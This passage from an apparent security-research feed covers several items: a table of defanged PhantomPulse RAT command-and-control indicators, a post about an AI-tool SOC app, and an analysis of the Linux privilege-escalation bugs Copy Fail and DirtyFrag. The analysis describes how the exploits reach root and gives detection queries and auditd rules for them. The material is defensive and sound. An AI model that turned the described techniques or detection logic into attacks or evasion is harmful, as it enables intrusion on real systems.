<td><code>0x666[.]info</code></td>
<td>domain</td>
<td>macOS C2</td>
<td>macOS dropper</td>
</tr>
<tr>
<td><code>t[.]me/ax03bot</code></td>
<td>url</td>
<td>Telegram fallback</td>
<td>macOS C2 dead-drop</td>
</tr>
<tr>
<td><code>thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code></td>
<td>domain</td>
<td>Prior C2</td>
<td>Cloudflare Tunnel</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>Prior reporting and toolkits referenced in this analysis:</p>
<ul>
<li><a href="https://www.elastic.co/kr/security-labs/phantom-in-the-vault">Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT</a></li>
<li><a href="https://eth.blockscout.com/">Blockscout Ethereum Explorer</a></li>
<li><a href="https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding">DPRK Adopts EtherHiding</a></li>
<li><a href="https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/">Contagious Interview / fake-recruiter targeting of crypto-sector developers</a></li>
<li><a href="https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/">RustDoor and Koi Stealer for macOS</a></li>
<li><a href="https://blog.talosintelligence.com/beavertail-and-ottercookie/">BeaverTail and OtterCookie evolution</a></li>
<li><a href="https://github.com/dis0rder0x00/DbgNexum">DbgNexum proof-of-concept</a></li>
<li><a href="https://github.com/hfiref0x/UACME/issues/129">UACME issue #129: schuac UAC bypass</a></li>
<li><a href="https://www.elastic.co/kr/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies">Exploring Windows UAC Bypasses</a></li>
<li><a href="https://rastamouse.me/memory-patching-amsi-bypass/">Memory Patching AMSI Bypass</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/blockchain-c2-phantompulse-rat-sinkhole.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic Security MCP App: Interactive security operations inside your AI Tools]]></title>
            <link>https://www.elastic.co/kr/security-labs/elastic-security-mcp-app</link>
            <guid>elastic-security-mcp-app</guid>
            <pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security is the first security vendor to ship an interactive UI in AI tools. Triage alerts, hunt threats, correlate attack chains, and open cases, all from inside your AI conversation.]]></description>
            <content:encoded><![CDATA[<p>Every SOC analyst knows the drill: an alert fires, and the next ten minutes are spent switching between a triage dashboard, a threat hunt, a case file, and the AI tool that told you to look in the first place.</p>
<p>Recently, we introduced <a href="https://www.elastic.co/kr/search-labs/blog/mcp-apps-elastic">MCP Apps for Elastic</a>, built on the open MCP Apps extension to the Model Context Protocol, that lets an MCP tool return an interactive UI alongside its text response, rendered inline in Claude Desktop, Claude.ai, VS Code Copilot, Cursor, or any compatible host. This post goes deep on the <a href="https://github.com/elastic/example-mcp-app-security">Elastic Security MCP App</a>, We’ll go over six interactive dashboards covering the core SOC loop, from alert triage to closed case, without leaving the conversation.</p>
<p>Elastic already ships AI agents inside the platform: <a href="https://www.elastic.co/kr/guide/en/security/current/attack-discovery.html">Attack Discovery</a> and <a href="https://www.elastic.co/kr/elasticsearch/agent-builder">Agent Builder</a> work natively with your security data in Kibana. But analysts and security engineers also spend time in Claude, VS Code, and Cursor, writing detection logic, researching threats, and increasingly triaging findings. The question isn't whether to use Elastic's built-in AI or external tools. It's whether the external tools can give you the same interactive, visual workflow you get in Kibana. That's what the Security MCP App solves.</p>
<p>Security operations are inherently visual and interactive. An analyst scans alerts grouped by host, expands a process tree, traces a parent-child chain, and drags a suspicious entity onto an investigation graph. That loop doesn't survive compression into text. The Elastic Security MCP App brings those surfaces into the AI conversation, so the answer <em>is</em> the workflow, not a summary of it.</p>
<h2>Why the Elastic Security MCP App matters for the SOC</h2>
<p>When an agent tells a SOC analyst, &quot;There are 47 alerts on host-314, here's a summary,&quot; it hasn't done any work. It's just pointed at where the work starts. The actual work lives in the alert list, the process tree, the investigation graph, and the case file. You can't do it from a paragraph of text.</p>
<p>The security MCP App returns the workflow itself. The analyst prompts the agent, and the agent returns an interactive dashboard in the chat where the analyst can drill into alerts, run threat hunts, correlate attack chains, and open cases, without losing the thread of the conversation. Everything you do in the MCP App writes back to <a href="https://elastic.co/elasticsearch">Elasticsearch</a> and Kibana through the same APIs the product uses. From Cases, alerts, and findings to hunt queries; you lose none of this context because it does not just live in the chat, but it is all stored in your Elastic cluster and Kibana environments, waiting to be picked back up when you are ready.</p>
<h2>Six interactive dashboards</h2>
<p>We chose six elements that map to the core SOC loop: detect, triage, hunt, correlate, respond, and test. Each one is a React UI that renders inline when the agent calls the corresponding tool:</p>
<table>
<thead>
<tr>
<th align="left">Tool</th>
<th align="left">What it does</th>
<th align="left">Interactive UI</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Alert Triage</td>
<td align="left">Fetch, filter, and classify security alerts</td>
<td align="left">Severity grouping, AI verdict cards, process tree, and network events</td>
</tr>
<tr>
<td align="left">Attack Discovery</td>
<td align="left">AI-correlated attack chain analysis with on-demand generation</td>
<td align="left">Attack narrative cards with confidence scoring, entity risk, and MITRE mapping</td>
</tr>
<tr>
<td align="left">Case Management</td>
<td align="left">Create, search, and manage investigation cases</td>
<td align="left">Case list with alerts, observables, comments tabs, and AI actions</td>
</tr>
<tr>
<td align="left">Detection Rules</td>
<td align="left">Browse, tune, and manage detection rules</td>
<td align="left">Rule browser with KQL search, query validation, and noisy-rule analysis</td>
</tr>
<tr>
<td align="left">Threat Hunt</td>
<td align="left">ES|QL workbench with entity investigation</td>
<td align="left">Query editor, clickable entities, and investigation graph</td>
</tr>
<tr>
<td align="left">Sample Data</td>
<td align="left">Generate ECS security events for common attack scenarios</td>
<td align="left">Scenario picker with four pre-built attack chains</td>
</tr>
</tbody>
</table>
<p>Each tool returns a compact text summary that the model can reason over, alongside the interactive UI the analyst acts on. The UI can also fetch fresh data behind the scenes through the MCP host bridge. The full tool model and bridge API live in the <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/architecture.md">repo's architecture doc</a>.</p>
<p>The app also ships with <a href="https://github.com/elastic/example-mcp-app-security/tree/main/skills">Claude Desktop skills</a>, <code>SKILL.md</code> files that teach the agent when and how to use each tool. You can download the pre-built skill zips from the <a href="https://github.com/elastic/example-mcp-app-security/releases/latest">latest release</a>.</p>
<h2>From alert to case</h2>
<p>The five skills cover the core SOC loop. Each one picks up a prompt, calls a tool, and returns an interactive dashboard alongside a text summary that the model reasons over. The walkthrough below starts from scratch; if you're following along, the first step populates the cluster so the rest of the loop has data to work with.</p>
<p><strong>Generate sample data.</strong> Starting with a fresh cluster? The Sample Data skill generates realistic <a href="https://www.elastic.co/kr/docs/reference/ecs">ECS</a> security events for four common attack scenarios: ransomware, lateral movement, credential theft, and data exfiltration. Ask the agent to generate sample data, pick a scenario, and within seconds, you have a populated alert queue to work from. Everything that follows in this walkthrough uses these events.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/-4NLaMN51mI&quot; title=&quot;Generate sample data&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><strong>Triage alerts.</strong> Ask the agent to triage by host, rule, user, or time window. The Alert Triage skill returns a dashboard of AI verdicts above the raw alert list, with one verdict per detection rule classifying that rule's activity as benign, suspicious, or malicious, each with a confidence score and a recommended action. Click any alert to open a detailed view with a process tree, network events, related alerts, and MITRE ATT&amp;CK tags. No tab switching between your AI tool and the alerts dashboard inside Kibana; everything happens in real-time inside the conversation.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/l_GXdJpAGaQ&quot; title=&quot;Alert Triage&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-security-mcp-app/image2.png" alt="Alert Triage" /></p>
<p><strong>Hunt for threats.</strong> Ask the agent to hunt across your indices. The Threat Hunt skill returns an <a href="https://www.elastic.co/kr/docs/explore-analyze/query-filter/languages/esql">ES|QL</a> workbench with the query pre-populated and auto-executed, with every entity in the results clickable for drill-down. The model writes a short read-out below the table: what's unusual, what's connected, and what's worth a closer look. It then offers the next pivot: go deeper into the threat hunt, or hand off to another skill. Attack Discovery is the natural next step; it gathers more context on the alerts you've triaged and the threats you've hunted, correlating them into attack chains.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/s5EA-fJaCtQ&quot; title=&quot;Hunt for Threats&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><strong>Run Attack Discovery.</strong> The Attack Discovery skill triggers the <a href="https://www.elastic.co/kr/guide/en/security/current/attack-discovery.html">Attack Discovery API</a> and returns a ranked list of findings. Each finding is a set of related alerts stitched into one attack chain, with MITRE tactics, a risk score, a confidence label, and the impacted hosts and users surfaced up front. The agent's summary lands below the findings in the same rank order, and the conversation now holds everything needed to act: hunt queries, triage decisions, correlated chains, all staged for the next step.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/SeTw75JVLiM&quot; title=&quot;Run Attack Discovery&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><strong>Open cases without leaving the chat.</strong> Approve findings in bulk or ask the agent to open cases for specific alerts. The Case Management skill creates one case per approved finding (source alerts attached, and MITRE tactics inherited from the attack chain) and renders the live case list inline. Click a case for its detail view, which includes a row of AI action buttons: <em>Summarize case</em>, <em>Suggest next steps</em>, <em>Extract IOCs</em>, and <em>Generate timeline</em>. Each one drops a structured prompt back into the chat, so the agent picks up the case context without needing a reintroduction. The agent's summary sits below the case list and covers the full IR queue, including the cases just opened and earlier findings that still need one.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/rBRQN2BE41U&quot; title=&quot;Case Management&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p>Every step in this walkthrough runs the same loop: a prompt comes in, the skill picks it up, and the tool returns a compact text summary for the model to reason over, alongside an interactive UI that the analyst acts on. Chain the skills together, and they compose into an end-to-end SOC flow; hunt, triage, correlate, open cases, and drive the next pivot, all with the model carrying the session context across every step. Invoke any one on its own, and it's still the full dashboard, pointed at whatever slice of your data you name. Either way, the work accumulates inside the conversation; no tab switching, no copy-paste, no hand-offs.</p>
<p>One more skill rounds out the app: a detection-rule browser for tuning noisy rules, filtering by rule type, and flagging high-noise detections. A follow-up post will go deep on all six dashboards: investigation graph, attack-flow canvas, and end-to-end walkthrough.</p>
<p>Here’s the full walkthrough of this demo.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/WQXrKLO5qVg&quot; title=&quot;Elastic MCP Security App&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<h2>How Elastic's InfoSec team uses the Security MCP App</h2>
<p>The MCP App's value compounds when the conversation has access to more than just Elastic Security. In a real SOC workflow, a single alert often leads to questions that span multiple systems: cases in Kibana, threads in Slack, issues in Jira, and cloud infrastructure logs. Traditionally, an analyst would pivot across each of those tools manually, assembling context one tab at a time.</p>
<p>With the Security MCP App connected alongside MCP servers for Slack, Jira, and cloud platforms, the agent can pull the full picture into one conversation: review a case and its attached alerts, cross-reference Slack channels for related outages or planned changes, check Jira for known issues, and compile a forensic summary covering root cause, actions already taken, and outstanding tasks, all before the analyst writes a single note. Once the analysis is reviewed and approved, the agent writes the findings back: a structured comment on the Kibana case, a summary posted to the relevant Slack channel, and alerts closed with context attached.</p>
<p>Cloud-based alerting benefits the same way. Strange activity in a cloud environment often turns out to be a known outage or an infrastructure change already under discussion in Slack or Jira. The agent can check those sources in seconds, correlate the context, and either close the alert with an explanation or escalate it with the full picture already attached.</p>
<blockquote>
<p>The MCP App for Elastic Security bridges the gap between automated detection and manual hunting. By bringing our security data directly into a single interface within Claude Desktop, we surfaced 'silent' threats in under an hour — risks that didn't trigger standard alerts but required immediate action. It's a force multiplier for our analysts.
— Mandy Andress, Chief Information Security Officer (CISO), Elastic</p>
</blockquote>
<h2>How it works</h2>
<p>Each MCP App is a small Node.js server whose tools return both a compact text summary for the model and a React UI that the host renders inline. The server exposes two layers: model-facing tools the LLM calls (returning lightweight summaries for reasoning), and app-only tools the UI calls behind the scenes for interactivity, like expanding process trees or running ES|QL queries. Each view is a self-contained React app rendered in a sandboxed iframe. Because it's built on the open MCP App spec, the same server runs on any compatible host; see the <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/architecture.md">repo's architecture doc</a> for the full design</p>
<h2>The agentic SOC, interactive</h2>
<p>Two properties about this pattern are worth stating directly. First, the tool result is no longer the end of the work; it is the start of it: the conversation returns an interface you can act on, not a summary you have to act from. Second, this only works because Elasticsearch and Kibana already expose the security APIs. The MCP App is a thin interactive layer over the detection, investigation, and case management capabilities Elastic Security already ships.</p>
<p>Attack Discovery already powers the correlated findings view inside this app. Inside the stack, the same agentic pattern goes further: <a href="https://www.elastic.co/kr/search-labs/blog/elastic-workflows-automation">Elastic Workflows</a> automate the deterministic steps (enrich entities, create cases, and isolate hosts), while <a href="https://www.elastic.co/kr/elasticsearch/agent-builder">Agent Builder</a> reasons over the data and invokes those workflows as tools. The MCP App brings that same security surface into the external conversation; Workflows and Agent Builder deepen it inside the stack. Different entry points, same Elastic Security APIs underneath.</p>
<p>That architectural choice is deliberate. The MCP server runs on the analyst's own machine and connects directly to Elasticsearch using their API key. The LLM receives only compact summaries for reasoning, while the UI independently loads full investigation data through the same server. It adds a surface for analysts who already work in Claude, VS Code, or Cursor without introducing a dependency they have to adopt or a governance model they have to rebuild. The same role-based access controls you enforce through your Elasticsearch API keys apply to every action the app takes, which means the operational result is straightforward: analysts spend less time switching tools and more time closing cases.</p>
<h2>Try the Elastic Security MCP App</h2>
<p>The Elastic Security MCP App requires Elasticsearch 9.x with Security enabled, plus Kibana for cases, rules, and Attack Discovery. The fastest path is the one-click <code>.mcpb</code> bundle from the <a href="https://github.com/elastic/example-mcp-app-security/releases/latest">latest release</a>; double-click it in Claude Desktop, and you'll be prompted for your Elasticsearch URL and API key. Setup guides for <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-cursor.md">Cursor</a>, <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-vscode.md">VS Code</a>, <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-claude-code.md">Claude Code</a>, <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-claude-ai.md">Claude.ai</a>, and building from source are in the <a href="https://github.com/elastic/example-mcp-app-security">repo</a>.</p>
<p>Don't have an Elasticsearch cluster yet? Start a free <a href="https://cloud.elastic.co/registration">Elastic Cloud trial</a>. For more on the building blocks behind the app, see the related Security Labs posts on <a href="https://www.elastic.co/kr/security-labs/from-alert-fatigue-to-agentic-response">Elastic Workflows and Agent Builder</a>, <a href="https://www.elastic.co/kr/security-labs/agent-skills-elastic-security">Agent Skills</a>, and <a href="https://www.elastic.co/kr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">Attack Discovery</a>.</p>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/elastic-security-mcp-app/elastic-security-mcp-app.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Copy Fail and DirtyFrag: Linux Page Cache Bugs in the Wild]]></title>
            <link>https://www.elastic.co/kr/security-labs/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild</link>
            <guid>copy-fail-dirtyfrag-linux-page-bugs-in-the-wild</guid>
            <pubDate>Sat, 09 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[This research analyzes the Linux kernel privilege escalation vulnerabilities Copy Fail and DirtyFrag, which exploit subtle page cache corruption bugs to create reliable paths to root access. Additionally, Elastic Security Labs is releasing detection logic for these vulnerabilities.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Recent Linux kernel privilege escalation vulnerabilities, Copy Fail (CVE-2026-31431) , Copy Fail 2, and DirtyFrag, highlight how subtle page cache corruption bugs can become practical, reliable paths to root. These issues are especially relevant for defenders because exploitation involves legitimate kernel interfaces, local execution, and short proof-of-concept code. Copy Fail has been reported as exploited in the wild and was added to CISA's Known Exploited Vulnerabilities catalog.</p>
<p>To help mitigate these threats, Elastic Security Labs has developed detection logic focused on the exploitation patterns around these vulnerabilities rather than only matching a specific proof-of-concept implementation.</p>
<h2>Copy Fail</h2>
<p>Copy Fail is a logic bug in the Linux kernel's <code>authencesn</code> cryptographic template. The vulnerability chains <code>AF_ALG</code> and <code>splice()</code> to create a controlled 4-byte write into the page cache of any readable file. In practice, this corrupts the in-memory view of a setuid binary like <code>/usr/bin/su</code> and escalates privileges without changing the file on disk. The public exploit is a 732-byte Python script that works across Ubuntu, Amazon Linux, RHEL, and SUSE.</p>
<h2>DirtyFrag</h2>
<p>DirtyFrag expands the same bug class into the networking stack with two page-cache write variants. The ESP path uses XFRM security associations via <code>AF_NETLINK</code> to perform in-place crypto operations on spliced pages, overwriting <code>/usr/bin/su</code> with a minimal root-shell ELF. The RxRPC fallback path uses <code>AF_RXRPC</code> with <code>pcbc(fcrypt)</code> to corrupt <code>/etc/passwd</code>, clearing root's password field. Both paths require <code>unshare(CLONE_NEWUSER | CLONE_NEWNET)</code> to gain namespace capabilities before triggering the page-cache write.</p>
<p>DirtyFrag does not depend on the <code>algif_aead</code> module, meaning systems that only applied the Copy Fail mitigation may still be exposed.</p>
<h2>Detection</h2>
<p>For these vulnerabilities, we focused on detecting the underlying primitives and behavior, not only a specific exploit implementation. That distinction matters, Copy Fail already has multiple public reimplementations (Python, Go, Rust, C, Metasploit), and DirtyFrag ships as a public C proof-of-concept. Trying to detect only a specific PoC leaves defenders one step behind.</p>
<h3>Syscall-Level Primitives (Auditd)</h3>
<p>Both Copy Fail and DirtyFrag rely on <code>socket(AF_ALG)</code> to access the kernel crypto subsystem, and <code>splice()</code> to inject read-only file pages into network buffers where in-place cryptographic operations corrupt the page cache. DirtyFrag additionally uses <code>socket(AF_RXRPC)</code> as a fallback when <code>AF_ALG</code> is unavailable. These primitives are visible through auditd syscall auditing <code>socket</code> with <code>a0</code> hex values of <code>26</code> (<code>AF_ALG</code>) or <code>21</code> (<code>AF_RXRPC</code>), and <code>splice</code> calls from non-root processes. We use these as early-stage signals, correlated via EQL sequences with the final privilege escalation step of gaining effective uid 0 from a non-root caller:</p>
<pre><code class="language-sql">sequence with maxspan=60s
  [any where host.os.type == &quot;linux&quot; and    
   (
    (event.category == &quot;process&quot; and auditd.data.syscall == &quot;socket&quot; and auditd.data.a0 in (&quot;26&quot;, &quot;21&quot;)) or 
    (event.category == &quot;process&quot; and auditd.data.syscall == &quot;splice&quot;) or 
    (event.category == &quot;network&quot; and event.action == &quot;bound-socket&quot; and data_stream.dataset == &quot;auditd_manager.auditd&quot; and ?auditd.data.socket.family == &quot;38&quot;) 
    )  
   and user.id != &quot;0&quot;]  by process.pid, host.id, user.id with runs=10
  [process where host.os.type == &quot;linux&quot;  and event.action == &quot;executed&quot; and 
   (
     (user.effective.id == &quot;0&quot; and user.id != &quot;0&quot;) or 
     (process.name in (&quot;bash&quot;, &quot;sh&quot;, &quot;zsh&quot;, &quot;dash&quot;, &quot;fish&quot;, &quot;ksh&quot;, &quot;busybox&quot;) and 
      process.args in (&quot;-c&quot;, &quot;--command&quot;, &quot;-ic&quot;, &quot;-ci&quot;, &quot;-cl&quot;, &quot;-lc&quot;, &quot;-bash&quot;, &quot;-sh&quot;, &quot;-zsh&quot;, &quot;-dash&quot;, &quot;-fish&quot;, &quot;-ksh&quot;))
    )] by process.parent.pid, host.id, user.id
</code></pre>
<p>Example of matches :</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/image1.png" alt="" /></p>
<h3>Namespace Creation (DirtyFrag-Specific)</h3>
<p>DirtyFrag's exploit chain also relies on <code>unshare(CLONE_NEWUSER | CLONE_NEWNET)</code> to gain namespace capabilities. We correlate this event with a root process execution or a <code>setuid(0)</code> syscall shortly after:</p>
<pre><code class="language-sql">sequence by host.id, process.parent.pid with maxspan=30s
 [process where host.os.type == &quot;linux&quot; and 
  (
   (auditd.data.syscall == &quot;unshare&quot; and auditd.data.class == &quot;namespace&quot; and auditd.data.a0 in (&quot;10000000&quot;, &quot;50000000&quot;, &quot;70000000&quot;, &quot;10020000&quot;, &quot;50020000&quot;, &quot;70020000&quot;)) or 

   (process.name == &quot;unshare&quot; and  
    (process.args in (&quot;--user&quot;, &quot;--map-root-user&quot;, &quot;--map-current-user&quot;) or process.args like (&quot;-*U*&quot;, &quot;-*r*&quot;)))
   ) and user.id != &quot;0&quot; and user.id != null]
 [process where host.os.type == &quot;linux&quot; and 
  user.id == &quot;0&quot; and user.id != null and 
  (
   process.name in (&quot;su&quot;, &quot;sudo&quot;, &quot;pkexec&quot;, &quot;passwd&quot;, &quot;chsh&quot;, &quot;newgrp&quot;, &quot;doas&quot;, &quot;run0&quot;, &quot;sg&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;bash&quot;, &quot;zsh&quot;, &quot;fish&quot;, 
                    &quot;ksh&quot;, &quot;csh&quot;, &quot;tcsh&quot;, &quot;ash&quot;, &quot;mksh&quot;, &quot;busybox&quot;, &quot;rbash&quot;, &quot;rzsh&quot;, &quot;rksh&quot;, &quot;tmux&quot;, &quot;screen&quot;, &quot;node&quot;) or 
   process.name like (&quot;python*&quot;, &quot;perl*&quot;, &quot;ruby*&quot;, &quot;php*&quot;, &quot;lua*&quot;)
  )]
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/image4.png" alt="" /></p>
<h3>Generic SUID Binary Abuse (Process Exec Events)</h3>
<p>We also assessed detection options using process exec events only, as those tend to be enabled in more environments than auditd syscall auditing. A common final step for both exploits is to corrupt or influence the in-memory execution of a SUID binary such as <code>su</code>, <code>sudo</code>, <code>pkexec</code>, <code>passwd</code>, <code>chsh</code>, or <code>newgrp</code>, causing it to run attacker-controlled code as root.</p>
<p>Detection looks for suspicious executions where the process runs as effective UID 0, the real user is non-root, the parent process is also non-root, the SUID binary is launched with minimal arguments, and the parent process is a scripting runtime, shell one-liner, or executable from a user-writable path:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  (process.user.id == 0 and process.real_user.id != 0) or
  (process.group.id == 0 and process.real_group.id != 0)
) and (
  (process.name == &quot;su&quot; and process.args_count &lt;= 2) or
  (process.name == &quot;sudo&quot; and process.args_count == 1) or
  (process.name == &quot;pkexec&quot; and process.args_count == 1) or
  (process.name == &quot;passwd&quot; and process.args_count &lt;= 2)
) and
(
  process.parent.name like (&quot;.*&quot;, &quot;python*&quot;, &quot;perl*&quot;, &quot;ruby*&quot;, &quot;lua*&quot;, &quot;php*&quot;, &quot;node&quot;, &quot;deno&quot;, &quot;bun&quot;, &quot;java&quot;) or
  process.parent.executable like (&quot;./*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/dev/shm/*&quot;, &quot;/run/user/*&quot;, &quot;/var/run/user/*&quot;, &quot;/home/*/*&quot;) or
  (
    process.parent.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;mksh&quot;) and
    process.parent.args in (&quot;-c&quot;, &quot;-cl&quot;, &quot;-lc&quot;, &quot;--command&quot;, &quot;-ic&quot;, &quot;-ci&quot;, &quot;-bash&quot;, &quot;-sh&quot;, &quot;-zsh&quot;, &quot;-dash&quot;, &quot;-fish&quot;, &quot;-ksh&quot;) and
    process.parent.args_count &lt;= 4
  )
)
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/image2.png" alt="" /></p>
<p>Without relying on a child process being spawned, we can also hunt proactively for exploitation activity using ES|QL. Both Copy Fail and DirtyFrag produce a distinctive burst of interleaved <code>socket(AF_ALG)</code> and <code>splice()</code> syscalls from the same process. Copy Fail iterates 48 times to write 192 bytes, and DirtyFrag follows a similar pattern across its ESP and RxRPC paths.</p>
<p>The following query aggregates these syscalls by process and surfaces any non-root process combining <code>AF_ALG</code> or <code>AF_RXRPC</code> sockets with <code>splice</code> calls at volume :</p>
<pre><code class="language-sql">FROM logs-auditd_manager.auditd-default*
| WHERE host.os.type == &quot;linux&quot; AND user.id != &quot;0&quot; AND
  (
    (event.category == &quot;process&quot; AND auditd.data.syscall == &quot;socket&quot; AND auditd.data.a0 IN (&quot;26&quot;, &quot;21&quot;)) OR
    (event.category == &quot;process&quot; AND auditd.data.syscall == &quot;splice&quot;) OR
    (event.category == &quot;network&quot; AND event.action == &quot;bound-socket&quot; AND auditd.data.socket.family == &quot;38&quot;)
  )
| EVAL
    is_af_alg   = CASE(auditd.data.syscall == &quot;socket&quot; AND auditd.data.a0 == &quot;26&quot;, 1, 0),
    is_af_rxrpc = CASE(auditd.data.syscall == &quot;socket&quot; AND auditd.data.a0 == &quot;21&quot;, 1, 0),
    is_splice   = CASE(auditd.data.syscall == &quot;splice&quot;, 1, 0),
    is_bind_alg = CASE(event.action == &quot;bound-socket&quot; AND auditd.data.socket.family == &quot;38&quot;, 1, 0)
| STATS
    socket_af_alg   = SUM(is_af_alg),
    socket_af_rxrpc = SUM(is_af_rxrpc),
    splice_count    = SUM(is_splice),
    bind_af_alg     = SUM(is_bind_alg),
    total_calls     = COUNT(*),
    first_seen      = MIN(@timestamp),
    last_seen        = MAX(@timestamp)
  BY host.name, user.name, process.executable, process.pid
| EVAL
    duration_seconds = DATE_DIFF(&quot;seconds&quot;, first_seen, last_seen),
    distinct_syscalls = CASE(
      socket_af_alg &gt; 0 AND splice_count &gt; 0 AND bind_af_alg &gt; 0, &quot;af_alg+splice+bind&quot;,
      socket_af_alg &gt; 0 AND splice_count &gt; 0, &quot;af_alg+splice&quot;,
      socket_af_rxrpc &gt; 0 AND splice_count &gt; 0, &quot;af_rxrpc+splice&quot;,
      socket_af_alg &gt; 0, &quot;af_alg_only&quot;,
      socket_af_rxrpc &gt; 0, &quot;af_rxrpc_only&quot;,
      splice_count &gt; 0, &quot;splice_only&quot;,
      &quot;other&quot;
    )
| WHERE total_calls &gt;= 10 AND
  (socket_af_alg &gt; 0 OR socket_af_rxrpc &gt; 0) AND
  splice_count &gt; 0
| SORT total_calls DESC
| LIMIT 50

</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/image3.png" alt="" /></p>
<h3>Auditd rules:</h3>
<p>The following rules can be added to your <a href="https://www.elastic.co/kr/docs/reference/integrations/auditd_manager">Auditd</a> integration config to enable visibility on these exploit primitives:</p>
<pre><code>-a always,exit -F arch=b64 -S socket -k socket_syscall
-a always,exit -F arch=b32 -S socketcall -k socket_syscall
-a always,exit -F arch=b64 -S splice -k splice-syscall
-a always,exit -F arch=b32 -S splice -k splice-syscall
-a always,exit -F arch=b64 -S bind -k socket_bound
-a always,exit -F arch=b32 -S bind -k socket_bound
</code></pre>
<h3>Detection rules  :</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ef78eb503dba59b19710cedffd3d1697185abbb4/rules/linux/privilege_escalation_potential_copy_fail_cve_2026_31431_exploitation_via_af_alg_socket.toml">Potential Copy Fail (CVE-2026-31431) Exploitation via AF_ALG Socket</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/ef78eb503dba59b19710cedffd3d1697185abbb4/rules/linux/privilege_escalation_suspicious_suid_binary_execution.toml">Suspicious SUID Binary Execution</a></li>
